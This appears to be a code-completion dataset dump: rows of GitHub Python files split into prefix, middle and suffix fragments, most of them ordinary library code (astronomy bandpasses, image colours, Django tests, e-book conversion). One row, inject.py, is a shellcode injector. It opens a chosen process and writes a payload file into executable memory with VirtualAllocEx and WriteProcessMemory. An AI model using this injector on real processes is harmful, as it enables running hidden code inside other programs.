repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1
value | license stringclasses 15
values | size int64 6 947k | score float64 0 0.34 | prefix stringlengths 0 8.16k | middle stringlengths 3 512 | suffix stringlengths 0 8.17k |
|---|---|---|---|---|---|---|---|---|
pvint/Blender2MS3d | io_mesh_ms3d/export_ms3d.py | Python | gpl-2.0 | 11,954 | 0.03915 | # ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distrib... | ial index
fw("\"%s\" 0 %d\n" % (obj.name, o))
#fw("%d\n" % (len(mesh.faces) * | 3))
#if use_colors:
# fw("property uchar red\n"
# "property uchar green\n"
# "property uchar blue\n")
#fw("element face %d\n" % len(mesh.faces))
#fw("property list uchar uint vertex_indices\n")
#fw("end_header\n")
# mesh.vertices is array of vertex coords
# face.vertices is array o... |
sncosmo/sncosmo | sncosmo/bandpasses.py | Python | bsd-3-clause | 16,460 | 0 | # Licensed under a 3-clause BSD style license - see LICENSE.rst
import copy
import astropy.units as u
import numpy as np
from astropy.io import ascii
from astropy.utils import lazyproperty
from scipy.interpolate import splev, splrep
from ._registry import Registry
from .constants import HC_ERG_AA, SPECTRUM_BANDFLUX_... | SES = Registry()
_BANDPASS_INTERPO | LATORS = Registry()
def get_bandpass(name, *args):
"""Get a Bandpass from the registry by name."""
if isinstance(name, Bandpass):
return name
if len(args) == 0:
return _BANDPASSES.retrieve(name)
else:
interp = _BANDPASS_INTERPOLATORS.retrieve(name)
return interp.at(*arg... |
davidh-ssec/pyfbf | pyfbf/slicer.py | Python | gpl-3.0 | 3,928 | 0.003564 | #!/usr/bin/env python
from . import memfbf
from numpy import append
import os
import logging
from glob import glob
LOG = logging.getLogger(__name__)
class SlicerFrame(dict):
pass
class FBFSlicer(object):
"""Given a workspace directory of flat binary files, grab all useful filenames and return a record of... | a[nfo | .stemname] = append(arr1, arr2, axis=0)
return data
|
tannerbohn/ScholarVR | Code/fileIO.py | Python | gpl-2.0 | 368 | 0.05163 | import json |
def jsonSave(data, fileName, indent=True, sort=False, oneLine=False):
f = open(fileName, 'w')
if indent:
f.write(json.dumps(data, indent=4, sort_keys=sort))
else:
f.write(json.dumps(data, sort_ke | ys=sort))
f.close()
def jsonLoad(fileName):
try:
file = open(fileName)
t=file.read()
file.close()
return json.loads(t)
except:
return {} |
Amechi101/concepteur-market-app | venv/lib/python2.7/site-packages/PIL/ImageColor.py | Python | mit | 8,085 | 0.007421 | #
# The Python Imaging Library
# $Id$
#
# map CSS3-style colour description strings to RGB
#
# History:
# 2002-10-24 fl Added support for CSS-style color strings
# 2002-12-15 fl Added RGBA support
# 2004-03-27 fl Fixed remaining int() problems for Python 1.5.2
# 2004-07-19 fl Fixed gray/grey spelling issues
# 2... | ing to RGB tuple.
#
# @param color A CSS3-style colour string.
# @return An RGB-tuple.
# @exception ValueError If the color string could not be interpreted
# as an RGB value.
def getrgb(colo | r):
"""
Convert a color string to an RGB tuple. If the string cannot be parsed,
this function raises a :py:exc:`ValueError` exception.
.. versionadded:: 1.1.4
:param color: A color string
:return: ``(red, green, blue)``
"""
try:
rgb = colormap[color]
except KeyError:
... |
codecakes/algorithms_monk | implementation/lisa_workbook_array_single_iter.py | Python | mit | 2,037 | 0.003939 | #!/bin/python
"""
Lisa just got a new math workbook. A workbook contains exercise problems, grouped into chapters.
There are nn chapters in Lisa's workbook, numbe | red from 11 to nn.
The ii-th chapter has titi problems, numbered from 11 to titi.
Each page can hold up to kk problems. There are no empty pages or unnecessary spaces, so only the last page of a chapter may contain fewer than kk problems.
Each new chapter starts on a new page, so a page will never contain problems from... | more than one chapter.
The page number indexing starts at 11.
Lisa believes a problem to be special if its index (within a chapter) is the same as the page number where it's located. Given the details for Lisa's workbook, can you count its number of special problems?
Note: See the diagram in the Explanation section fo... |
archifix/settings | sublime/Packages/SublimeCodeIntel/libs/chardet/utf8prober.py | Python | mit | 2,680 | 0.001866 | ######################## BEGIN LICENSE BLOCK ########################
# The Original Code is mozilla.org code.
#
# The Initial Developer of the Original Code | is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are C | opyright (C) 1998
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.... |
novafloss/django-north | tests/test_showmigrations_command.py | Python | mit | 2,400 | 0 | from django.core.management import call_command
import pytest
import septentrion
def test_showmigrations_command_override(mocker):
mock_django_handle = mocker.patch(
'django.core.management.commands.showmigrations.Command.handle')
mock_show_migrations = mocker.patch(
'septentrion.show_migrati... | mock_version = mocker.patch(
'septentrion.db.get_current_schema_version')
# schema not inited
mock_version.return_value = None
call_command('showmigrations')
captured = | capsys.readouterr()
assert 'Current version is None' in captured.out
def test_showmigrations_schema(capsys, mocker):
# schema inited
mock_version = mocker.patch(
'septentrion.db.get_current_schema_version')
mock_version.return_value = septentrion.versions.Version.from_string('1.1')
mock... |
Coriolan8/python_traning | test/test_add_group.py | Python | apache-2.0 | 824 | 0.01335 | # -*- coding: utf-8 -*-
from model.group import Group
def test_add_group(app):
old_groups = app.group.get_group_list()
group = (Group(name="fdsasdaf", header="group", footer="group"))
app.group.create(group)
assert len(old_groups) + 1 == app.group.count()
new_groups = app.group.get_group_list()
... | pp):
# old_groups = app.group.get_group_list()
# group = (Group(name="", header="", footer=""))
# app.group.create(group)
# new_groups = app.grou | p.get_group_list()
# assert len(old_groups) + 1 == len(new_groups)
# old_groups.append(group)
# assert sorted(old_groups, key = Group.id_or_max) == sorted (new_groups,key = Group.id_or_max)
|
CSGreater-Developers/HMC-Grader | app/userViews/admin/__init__.py | Python | mit | 36 | 0 | # coding=ut | f-8
__all__ = ['admin' | ]
|
jalanb/jab | src/python/add_to_a_path.py | Python | mit | 3,399 | 0 | """Script to display a collection of paths after inserting one new path
Usage:
add_to_a_path.py [-U] PATHS PATH
add_to_a_path.py [-U] (-s | -i INDEX ) PATHS PATH
Options:
-h, --help Show this help and exit
-v, --version | Show version number and exit
-s, --start Add the path at start of list of paths
-i INDEX, --index=INDEX The index at which the path will be inserted
Examples of use:
$ export PATH=/bin:/usr/bin
$ add_to_a_path.py PATH /usr/local/bin
PATH=/ | bin:/usr/bin:/usr/local/bin
$ add_to_a_path.py PATH /usr/local/bin --start
PATH=/usr/local/bin:/bin:/usr/bin
"""
from __future__ import print_function
import os
import sys
import argparse
from bdb import BdbQuit
__version__ = '0.1.0'
class ScriptError(NotImplementedError):
pass
def version():
p... |
ztane/jaspyx | jaspyx/visitor/if_else.py | Python | mit | 809 | 0 | from __future__ import absolute_import, division, print_function
import _ast
from jaspyx.context.block import BlockContext
from jaspyx.visitor import BaseVisitor
class IfElse(BaseVisitor):
def visit_If(self, node, skip_indent=False):
if not skip_indent:
self.indent()
self.output('if(')... | :
self.output(' else ')
if len(node.orelse) == 1 and isinstance(node.orelse[0], _ast.If):
self.visit_If(node.orelse[0], True)
else:
self.block(node.orelse, context=BlockContext(self.stack[-1]))
self.output('\n')
| else:
self.output('\n')
|
devs1991/test_edx_docmode | venv/lib/python2.7/site-packages/mock_django/signals.py | Python | agpl-3.0 | 1,028 | 0 | """
mock_django.signals
~~~~~~~~~~~~~~~~
:copyright: (c) 2012 DISQUS.
:license: Apache Licen | se 2.0, see LICENSE for more details.
"""
import contextlib
import mock
@contextlib.contextmanager
def mock_signal_receiver(signal, wraps=None, **kwargs):
"""
Temporarily attaches a receiver to the provided ``signal`` within the scope
of the context manager.
The mocked receiver is returned as the ``a... | cked receiver wrap a callable, pass the callable as the
``wraps`` keyword argument. All other keyword arguments provided are passed
through to the signal's ``connect`` method.
>>> with mock_signal_receiver(post_save, sender=Model) as receiver:
>>> Model.objects.create()
>>> assert receiver.... |
coolbombom/CouchPotatoServer | couchpotato/core/notifications/synoindex/main.py | Python | gpl-3.0 | 1,093 | 0.009149 | from couchpotato.core.event import addEvent
from couchpotato.core.logger import CPLog
from couchpotato.core.notifications.base import Notification
import os
import subprocess
log = CPLog(__name__)
class Synoindex(Notification):
index_path = '/usr/syno/bin/synoindex'
def __init__(self):
super(Synoin... | oup = {}):
if self.isDisabled(): return
command = [self.index_path, '-A', group.get('destination_dir')]
log.info('Executing synoind | ex command: %s ', command)
try:
p = subprocess.Popen(command, stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
out = p.communicate()
log.info('Result from synoindex: %s', str(out))
return True
except OSError, e:
log.error('Unable to run sy... |
laanwj/deluge | deluge/ui/common.py | Python | gpl-3.0 | 13,980 | 0.001431 | # -*- coding: utf-8 -*-
#
# deluge/ui/common.py
#
# Copyright (C) Damien Churchill 2008-2009 <damoxc@gmail.com>
# Copyright (C) Andrew Resch 2009 <andrewresch@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the ... | modify file(s) with this
# exception, you may extend this exception to your version of the file(s),
# but you are not obligated to do so. If you do not wish to do so, delete
# this exception statement from your version. If you delete this exception
# statement from all source files in the program, then also... | ontains methods and classes that are deemed useful for
all the interfaces.
"""
import os
import sys
import urlparse
import locale
try:
from hashlib import sha1 as sha
except ImportError:
from sha import sha
from deluge import bencode
from deluge.common import decode_string, path_join
from deluge.log import ... |
forkbong/qutebrowser | qutebrowser/misc/guiprocess.py | Python | gpl-3.0 | 6,787 | 0 | # vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:
# Copyright 2015-2021 Florian Bruhin (The Compiler) <mail@qutebrowser.org>
#
# This file is part of qutebrowser.
#
# qutebrowser is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free S... | d code == 0:
exitinfo = "{} exited successfully.".format(
self._what.capitalize())
if self.verbose:
message.info(exitinfo)
else:
assert status == QProcess.NormalExit
# We call this 'status' here as it makes more sense to the user -
... | e(), code)
message.error(exitinfo)
if stdout:
log.procs.error("Process stdout:\n" + stdout.strip())
if stderr:
log.procs.error("Process stderr:\n" + stderr.strip())
qutescheme.spawn_output = self._spawn_format(exitinfo, stdout, stderr)
d... |
idkwim/snippets | inject.py | Python | mit | 956 | 0.034519 | #First parameter is path for binary file containing instructions to be injected
#Second parameter is Process Identifier for process to be injected to
import binascii
import sys
from ct | ypes import *
if len(sys.argv) < 3:
print("usage inject.py <shellcodefile.bin> <pid>")
sys.exit(1)
file = open(sys.argv[1],'rb')
buff=file.read()
file.close()
print("buffer length = ")
print(len(buff))
print("pid = "+sys. | argv[2])
handle = windll.kernel32.OpenProcess(0x1f0fff,0, int(sys.argv[2]))
if (handle == 0):
print("handle == 0")
sys.exit(1)
addr = windll.kernel32.VirtualAllocEx(handle,0,len(buff),0x3000|0x1000,0x40)
if(addr == 0):
print("addr = = 0")
sys.exit(1)
bytes = c_ubyte()
windll.kernel32.WriteProcessMemory(handle... |
ic-hep/DIRAC | src/DIRAC/Resources/Computing/BatchSystems/TimeLeft/SGEResourceUsage.py | Python | gpl-3.0 | 4,887 | 0.001432 | """ The SGE TimeLeft utility interrogates the SGE batch system for the
current CPU consumed, as well as its limit.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
__RCSID__ = "$Id$"
import os
import re
import time
import socket
from DIRAC import S_... | self.log.debug("TimeLeft counters restored:", str(consumed))
return S_OK(consumed)
else:
msg = "Could not determine necessary parameters"
self.log.info(msg, ":\nThis is the stdout from the batch system call\n%s" % (result["Value"]))
retVal = S_ERROR(msg)
... | result = runCommand(cmd)
if not result["OK"]:
return None
lines = str(result["Value"]).split("\n")
for line in lines:
if re.search("usage_scaling", line):
match = re.search(r"cpu=([\d,\.]*),", line)
if match:
return float(match.groups()[0])
ret... |
daspots/dasapp | lib/webargs/fields.py | Python | mit | 2,488 | 0.00201 | # -*- coding: utf-8 -*-
"""Field classes.
Includes all fields from `marshmallow.fields` in addition to a custom
`Nested` field and `DelimitedList`.
All fields can optionally take a special `location` keyword argument, which tells webargs
where to parse the request argument from. ::
args = {
'active': fie... | aram str delimiter: Delimiter between values.
:param bool as_string: Dump values to string.
"""
delimiter = ','
def __init__(self, cls_or_instance, delimiter=None, as_string=False, **kwargs):
self.delimiter = delimiter or self.delimiter
self.as_string = as_string
super(Delimite... | :
return self.delimiter.join(format(each) for each in value)
return ret
def _deserialize(self, value, attr, data):
try:
ret = (
value
if ma.utils.is_iterable_but_not_string(value)
else value.split(self.delimiter)
)
... |
ktan2020/legacy-automation | win/Lib/site-packages/wx-3.0-msw/wx/tools/XRCed/undo.py | Python | mit | 7,307 | 0.005748 | # Name: undo.py
# Purpose: XRC editor, undo/redo module
# Author: Roman Rolinsky <rolinsky@mema.ucl.ac.be>
# Created: 01.12.2002
# RCS-ID: $Id: undo.py 54812 2008-07-29 13:39:00Z ROL $
from globals import *
import view
from component import Manager
from model import Model
undo... | mp, node):
self.itemIndex = itemIndex
self.comp = comp
self.node = node
def destroy(self):
if self.node: self.node.unlink()
self.node = None
def undo(self):
# Replace current node with old node
Presenter.unselect()
item = view.tree.ItemAt... | de = self.node
data = wx.TreeItemData(node)
parentItem = view.tree.GetItemParent(item)
parentNode = view.tree.GetPyData(parentItem)
self.node = view.tree.GetPyData(item)
self.comp = Presenter.comp
Presenter.container.replaceChild(parentNode, node, self.node)
... |
Veil-Framework/Veil | tools/evasion/payloads/python/meterpreter/bind_tcp.py | Python | gpl-3.0 | 6,026 | 0.009459 | """
Custom-written pure python meterpreter/bind_tcp stager
"""
from tools.evasion.evasion_common import evasion_helpers
from tools.evasion.evasion_common import encryption
class PayloadModule:
def __init__(self, cli_obj):
# required options
self.description = "pure windows/meterpreter/bind_tcp... | ame)
payload_code += "\t\t%s,_ = %s.acce | pt()\n" % (clientSocketName, socketName)
# pack the underlying socket file descriptor into a c structure
payload_code += "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,clientSocketName)
# unpack the length of the payload, received as a 4 byte array from the handler
payload_code... |
kyclark/misc | tacc_manifest_upload/copy_from_manifest.py | Python | mit | 1,866 | 0.001608 | #!/usr/bin/env python3
import os
import sys
import re
import tempfile
from subprocess import run
from shutil import copyfile
args = sys.argv[1:]
in_dir = args[0] if len(args) == 1 else os.getcwd()
if not os.path.isabs(in_dir):
in_dir = os.path.abspath(in_dir)
if not os.path.isdir(in_dir):
print('"{}" is not... | file = file.rstrip()
path = re.sub('^\.', man_dir, file)
file_num += 1
print('{:3}: {}'.format(file_num, path))
if os.path.isfile(path):
filedir = os.path.dirname(re.sub(in_dir, '', path))
if filedir.startswith('/'):
filedir = filedir[1:]
... | ath, os.path.join(partial, os.path.basename(file)))
dest = 'kyclark/applications/' + app_base
upload = '/home1/03137/kyclark/cyverse-cli/bin/files-upload'
run([upload, '-F', tmp_dir, dest])
print('Done, check "{}"'.format(dest))
|
theguardian/JIRA-APPy | lib/configobj/configobj.py | Python | gpl-2.0 | 89,640 | 0.003614 | # configobj.py
# A config file reader/writer that supports nested sections in config files.
# Copyright (C) 2005-2014:
# (name) : (email)
# Michael Foord: fuzzyman AT voidspace DOT org DOT uk
# Nicola Larosa: nico AT tekNico DOT net
# Rob Dennis: rdennis AT gmail DOT com
# Eli Courtwright: eli AT courtwright DOT org
#... | if o.name == 'None':
return None
if o.name == 'True':
return True
if o.name == 'False':
return False
# An undefined Name
raise UnknownType('Undefined Name')
def build_Add(self, o):
real, imag = list(map(self.build_Const... | o.getChildren()))
try:
real = float(real)
except TypeError:
raise UnknownType('Add')
if not isinstance(imag, complex) or imag.real != 0.0:
raise UnknownType('Add')
return real+imag
def build_Getattr(self, o):
parent = self.build(o.exp... |
daafgo/Server_LRS | lrs/tests/OAuthTests.py | Python | apache-2.0 | 161,641 | 0.009385 | import uuid
import json
import urllib
import os
import base64
import time
import string
import random
import oauth2 as oauth
from Crypto.PublicKey import RSA
from django.conf import settings
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from django.test import TestCase
from ... | h, the_file)
try:
os.unlink(file_path)
except Exception, e:
raise e
def oauth_handshake(self, scope=True, scope_type=None, parameters=None, param_type='qs', change_scope=[],
request_nonce='', access_nonce='', resource_nonce='', consumer=None):
... | s) for _ in range(6))
if not consumer:
consumer = self.consumer
oauth_header_request_token_params = "OAuth realm=\"test\","\
"oauth_consumer_key=\"%s\","\
"oauth_signature_method=\"HMAC-SHA1\","\
"oauth_timestamp=\"%s\","\
"oauth_... |
sharad/calibre | src/calibre/ebooks/oeb/transforms/structure.py | Python | gpl-3.0 | 13,406 | 0.00358 | #!/usr/bin/env python
# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai
from __future__ import with_statement
__license__ = 'GPL v3'
__copyright__ = '2009, Kovid Goyal <kovid@kovidgoyal.net>'
__docformat__ = 'restructuredtext en'
import re, uuid
from lxml import etree
from urlparse import urlparse
from collection... |
self.log('Auto generated TOC with %d entries.' %
self.oeb.toc.count())
if opts.toc_filter is not None:
regexp = re.compile(opts.toc_filter)
for node in list(self.oeb.toc.iter()):
if not node.title or regexp.search(node.title) is n... | elf.oeb.toc.remove(node)
if opts.page_breaks_before is not None:
pb_xpath = XPath(opts.page_breaks_before)
for item in oeb.spine:
for elem in pb_xpath(item.data):
try:
prev = elem.itersiblings(tag=etree.Element,
... |
aquamonitor/Aquamonitor | rodi.py | Python | lgpl-3.0 | 4,109 | 0.011682 | #!/usr/bin/python
import sys, signal, logging, time, RPi.GPIO as GPIO
FLOATSW_HIGH_WL = 26 # high water level float switch
WATER_VALVE = 10 # GPIO port for the Water Electo valve, High by default after boot
VALVE_CHGSTATE_TIMER = 25 ... | and not sys.argv[1].isdigit():
print("Value is neither 'close', 'stop' or a refill duration expressed in seconds")
| sys.exit(1)
i = 0
killer = GracefulKiller()
Setup()
if sys.argv[1] == "close" or sys.argv[1] == "stop":
Close_valve()
if str.count(subprocess.check_output(["ps", "aux"]), "rodi") > 1:
Alert("Warning, we were called while another instance of rodi.py was already in Memory")
sys.exit(1)
if GPIO.in... |
miketheman/opencomparison | profiles/templatetags/profile_tags.py | Python | mit | 137 | 0 | from | django import template
register = template.Library()
@register.filter
def package_usage(user):
return user.package_set.a | ll()
|
mit-crpg/openmc | openmc/lib/filter.py | Python | mit | 16,055 | 0.000561 | from collections.abc import Mapping
from ctypes import c_int, c_int32, c_double, c_char_p, POINTER, \
create_string_buffer, c_size_t
from weakref import WeakValueDictionary
import numpy as np
from numpy.ctypeslib import as_array
from openmc.exceptions import AllocationError, InvalidIDError
from . import _dll
from... | ndex=None):
mapping = filters
if index is None:
| if new:
# Determine ID to assign
if uid is None:
uid = max(mapping, default=0) + 1
else:
if uid in mapping:
raise AllocationError('A filter with ID={} has already '
... |
badock/nova | nova/api/openstack/compute/plugins/v3/floating_ip_dns.py | Python | apache-2.0 | 10,441 | 0.000958 | # Copyright 2011 Andrew Bogott for the Wikimedia Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | mport webob
from nova.api.openstack import extensions
from nova.api.openstack import wsgi
from nova import exception
from nova.i18n import _
from nova import network
from nova import utils
ALIAS = "os-floating-ip-dns"
authorize = extensions.extension_authorizer('compute', 'v3:' | + ALIAS)
def _translate_dns_entry_view(dns_entry):
result = {}
result['ip'] = dns_entry.get('ip')
result['id'] = dns_entry.get('id')
result['type'] = dns_entry.get('type')
result['domain'] = dns_entry.get('domain')
result['name'] = dns_entry.get('name')
return {'dns_entry': result}
def _... |
Panos512/invenio | modules/webaccess/lib/external_authentication_openid.py | Python | gpl-2.0 | 6,658 | 0.004356 | # -*- coding: utf-8 -*-
##
## This file is part of Invenio.
## Copyright (C) 2012 CERN.
##
## Invenio is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License as
## published by the Free Software Foundation; either version 2 of the
## License, or (at your option) a... | p.getExtensionArgs()['nickname']
ax_resp = ax.FetchResponse.fromSuccessResponse(response)
if ax_resp and not nickname:
extensions = ax_resp.getExtensionArgs()
if extensions.has_key('type.ext0') and \
extensions.has_key('value.ext0.1'):
if extensi... | n/friendly':
nickname = extensions['value.ext0.1']
if extensions.has_key('type.ext1') and \
extensions.has_key('value.ext1.1') and not nickname:
if extensions['type.ext1'] == \
'http://axschema.org/namePerson/friendly':
... |
DoWhatILove/turtle | programming/python/library/nltk/information_extraction.py | Python | mit | 4,285 | 0.018203 | #%%
# information extraction: getting meaning from text
import nltk, re, pprint
def preprocess(document):
sents = nltk.sent_tokenize(document)
sents = [nltk.word_tokenize(sent) for sent in sents]
sents = [nltk.pos_tag(sent) for sent in sents]
return sents
#%% chunking
# NP-chunking
# one of most useful... | _since_dt(sentence,i)}
def tags_since_dt(sentence,i):
tags = set()
for word,pos in sentence[:i]:
if pos == "DT":
tags = set()
else:
tags.add(pos)
return '+'.join(sorted(tags))
#%%
chunker = Consec | utiveNPChunker(train_sents)
print(chunker.evaluate(test_sents))
|
cattleprod/samsung-kernel-gt-i9100 | external/webkit/WebKitTools/Scripts/webkitpy/style/filter.py | Python | gpl-2.0 | 11,910 | 0.00084 | # Copyright (C) 2010 Chris Jerdonek (chris.jerdonek@gmail.com)
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions... | instance is equal to another."""
return self._filter_rules == other._filter_rules
# Useful for unit testing.
def __ne__(self, other):
# Python does not automatically deduce from __eq__().
return not (self == other)
def should_check(self, category):
"""Return whether the cat... | categories should be checked.
Then apply the filter rules in order from first to last, with
later flags taking precedence.
A filter rule applies to a category if the string after the
leading plus/minus (+/-) matches the beginning of the category
name. A plus (+) means the cate... |
ted-dunstone/ivs | hub_demo/send_msg.py | Python | mit | 11,161 | 0.021862 | #!/usr/bin/env python
import sys
import os
import getopt
import time
import random
from messageQueue import MessageQueue
VERSION = 0.5
REQUEST_EXCHANGE = {"name":"Request", "ex_type":"headers"}
IDENTIFY_EXCHANGE = {"name":"Identify", "ex_type":"headers"}
RESULTS_EXCHANGE = {"name":"Results", "ex_type":"headers"}
TR... | filename = './output.eft'
filestr = re.search(r'base64,(.*)', json.loads(body)['file_content']).group(1)
output = open(filename, 'wb')
output.write(filestr.decode('base64'))
output.close()
NISTResult=nu.convertNIST(filename,'jpg','new_i'+filename)
... |
if 'setup' in properties.headers:
# Send the message back to the receiever
exchange = RESULTS_EXCHANGE
if properties.headers['requester']=='Web':
exchange = WEB_EXCHANGE
body = "Exchange params"
self.send(exc... |
jmcfarlane/chula | chula/www/controller/__init__.py | Python | gpl-2.0 | 49 | 0 | from chula.www.controller.b | ase import Controller
| |
zmathe/WebAppDIRAC | WebApp/handler/FileCatalogHandler.py | Python | gpl-3.0 | 12,082 | 0.048088 |
from WebAppDIRAC.Lib.WebHandler import WebHandler, asyncGen
from DIRAC.Resources.Catalog.FileCatalog import FileCatalog
from DIRAC.ConfigurationSystem.Client.Helpers.Registry import getVOForGroup
from DIRAC import gConfig, gLogger
from DIRAC.Core.Utilities import Time
from hashlib import md5
class FileCatalogHandler... | dirmeta = result[ "DirectoryMetaFields" ]
if len( dirmeta ) > 0 :
for key , value in dirmeta.items():
callback[key]= value.lower()
gLogger.debug( "getSelectorGrid: Resulting callback %s" % callback )
self.finish({ "success" : "true" , "result" : callback})
'''
Method to read all the a... | compat = dict()
for key in self.request.arguments:
parts = str( key ).split(".")
if len(parts)!=3:
continue
key = str( key )
name = parts[1]
sign = parts[2]
if not len( name ) > 0:
continue
value = str( self.request.arguments[ k... |
paulocsanz/algebra-linear | scripts/eq_n_linear_broyden.py | Python | agpl-3.0 | 1,262 | 0.011094 | #!/usr/bin/env python3
from erros import NaoConverge
from numpy import matrix
from numpy.linalg import inv
from numpy.linalg import norm
def SolucaoEqNLinearBroyden(xin, bi, tol, niter, F):
xold = xin
bold = matrix(bi)
tolerancia = 1
while (tolerancia > tol and niter != -1):
f = matrix(F... | iter == -1:
raise NaoConverge
return xold
if __name__ == "__main__":
F = lambda x: [[x[0] + 2 * x[1] - 2], [x[0]*x[0] + 4 * x[1]*x[1] - 4]]
try:
| print(SolucaoEqNLinearBroyden([2,3], [[1,2],[4,24]], 0.0001, 100, F))
except NaoConverge:
print("Convergence not reached")
|
hozn/keepassdb | keepassdb/export/xml.py | Python | gpl-3.0 | 3,206 | 0.005614 | """
Support for exporting database to KeePassX XML format.
"""
from __future__ import absolute_import
from datetime import datetime
from xml.etree import ElementTree as ET
from xml.dom import minidom
from keepassdb import const
class XmlExporter(object):
"""
Class for exporting database to KeePassX XML format... | ET.SubElemen | t(enode, 'expire').text = _date(entry.expires)
return gnode
for group in db.root.children:
dbnode.append(group_to_xml(group, dbnode))
xmlstr = ET.tostring(dbnode)
if self.prettyprint:
reparsed = minidom.parseString(xmlstr)
xml... |
Codefans-fan/odoo | openerp/fields.py | Python | agpl-3.0 | 70,820 | 0.001525 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2013-2014 OpenERP (<http://www.openerp.com>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of t... | done by the database itself. The disadvantage
is that it requires database updates when the field must be recomputed.
| The inverse method, as its name says, does the inverse of the compute
method: the invoked records have a value for the field, and you must
apply the necessary changes on the field dependencies such that the
computation gives the expected value. Note that a computed field without
an inv... |
probprog/pyprob | pyprob/distributions/mixture.py | Python | bsd-2-clause | 3,418 | 0.002048 | import torch
from . import Distribution, Categorical
from .. import util
class Mixture(Distribution):
def __init__(self, distributions, probs=None):
self._distributions = distributions
self.length = len(distributions)
if probs is None:
self._probs = util.to_tensor(torch.zeros(... | Error('Expecting a 1d or 2d (batched) mixture probabilities.')
self._mixing_dist = Categorical(self._probs)
self._mean = None
self._variance = None
super().__init__(name='Mixture', address_suffix='Mixture({})'.format(', '.join([d._address_suffix for d in self._distributions])), batch_sha... | t(', '.join([repr(d) for d in self._distributions]), self._probs)
def __len__(self):
return self.length
def log_prob(self, value, sum=False):
if self._batch_length == 0:
value = util.to_tensor(value).squeeze()
lp = torch.logsumexp(self._log_probs + util.to_tensor([d.log... |
holvi/python-stdnum | stdnum/es/referenciacatastral.py | Python | lgpl-2.1 | 4,360 | 0 | # referenciacatastral.py - functions for handling Spanish real state ids
# coding: utf-8
#
# Copyright (C) 2016 David García Garzón
# Copyright (C) 2016-2017 Arthur de Jong
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as publish... | even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St... | Referencia Catastral (Spanish real estate property id)
The cadastral reference code is an identifier for real estate in Spain. It is
issued by Dirección General del Catastro (General Directorate of Land
Registry) of the Ministerio de Hacienda (Tresury Ministry).
It has 20 digits and contains numbers and letters inclu... |
kesl-scratch/PopconBot | scratch-blocks/build.py | Python | mit | 18,550 | 0.007978 | #!/usr/bin/python2.7
# Compresses the core Blockly files into a single JavaScript file.
#
# Copyright 2012 Google Inc.
# https://developers.google.com/blockly/
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy o... | ndency + '\n') |
provides = []
for dep in calcdeps.BuildDependenciesFromFiles(self.search_paths):
if not dep.filename.startswith(os.pardir + os.sep): # '../'
provides.extend(dep.provides)
provides.sort()
f.write('\n')
f.write('// Load Blockly.\n')
for provide in provides:
f.write("goog.req... |
unixhot/opencmdb | util/util.py | Python | apache-2.0 | 366 | 0.008197 | imp | ort hashlib
def handle_uploaded_file(f):
img_url = 'media/image/' + CalcMD5(f) + f._name
with open(img_url, 'wb+') as destination:
for chunk in f.chunks():
destination.write(chunk)
return ('/' + img_url, f._name)
def CalcMD5(f):
md5obj = | hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash |
morgangalpin/duckomatic | tests/test_main.py | Python | gpl-3.0 | 1,476 | 0 | # -*- coding: utf-8 -*-
# from pytest import raises
# The parametrize function is generated, so this doesn't work:
#
# from pyte | st.mark import parametrize
#
import pytest
parametrize = pytest.mark.parametrize
# from duckomatic import metadata
# TODO: Importing this is broken because six.moves.urllib gives
# an import error.
# from duckomatic.__main__ import main
class TestMain(object):
def test_fake(self):
pass
# @parametri... | err = capsys.readouterr()
# # Should have printed some sort of usage message. We don't
# # need to explicitly test the content of the message.
# assert 'usage' in out
# # Should have used the program name from the argument
# # vector.
# assert 'progname' in out
# ... |
onecloud/neutron | neutron/tests/functional/agent/linux/base.py | Python | apache-2.0 | 2,637 | 0 | # Copyright 2014 Cisco Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | p()
self.root_helper = root_helper
def check_command(self, cmd, error_text, skip_msg):
try:
utils.execute(cmd)
except RuntimeErro | r as e:
if error_text in str(e):
self.skipTest(skip_msg)
raise
def check_sudo_enabled(self):
if os.environ.get('OS_SUDO_TESTING') not in base.TRUE_STRING:
self.skipTest('testing with sudo is not enabled')
def get_rand_name(self, max_length, prefix='t... |
stdlib-js/stdlib | lib/node_modules/@stdlib/math/base/special/cexp/benchmark/python/benchmark.py | Python | apache-2.0 | 2,220 | 0.00045 | #!/usr/bin/env python
#
# @license Apache-2.0
#
# Copyright (c) 2018 The Stdlib Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
